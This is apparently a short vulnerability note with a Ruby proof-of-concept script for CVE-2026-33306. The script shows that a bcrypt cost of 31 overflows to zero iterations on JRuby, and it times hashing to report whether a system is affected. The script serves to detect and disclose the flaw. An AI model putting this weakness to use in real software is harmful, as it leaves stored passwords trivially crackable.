CVE-2026-33306 bcrypt-ruby整数溢出漏洞

require 'bcrypt' # PoC for CVE-2026-33306: Integer Overflow in bcrypt-ruby for JRuby # This script demonstrates that setting cost=31 results in zero iterations, # making the hash generation instant instead of taking 2^31 rounds. password = "test_password" puts "Testing bcrypt with cost=31 on JRuby..." start_time = Time.now # Generate hash with max cost (triggers the vulnerability) # On a patched version, this would take a very long time. hash = BCrypt::Password.create(password, :cost => 31) end_time = Time.now time_taken = end_time - start_time puts "Generated Hash: #{hash}" puts "Time elapsed: #{time_taken} seconds" if time_taken < 1.0 puts "[!] Vulnerability detected: Hash generation was too fast (zero iterations)." else puts "[+] System appears patched or cost is handled correctly." end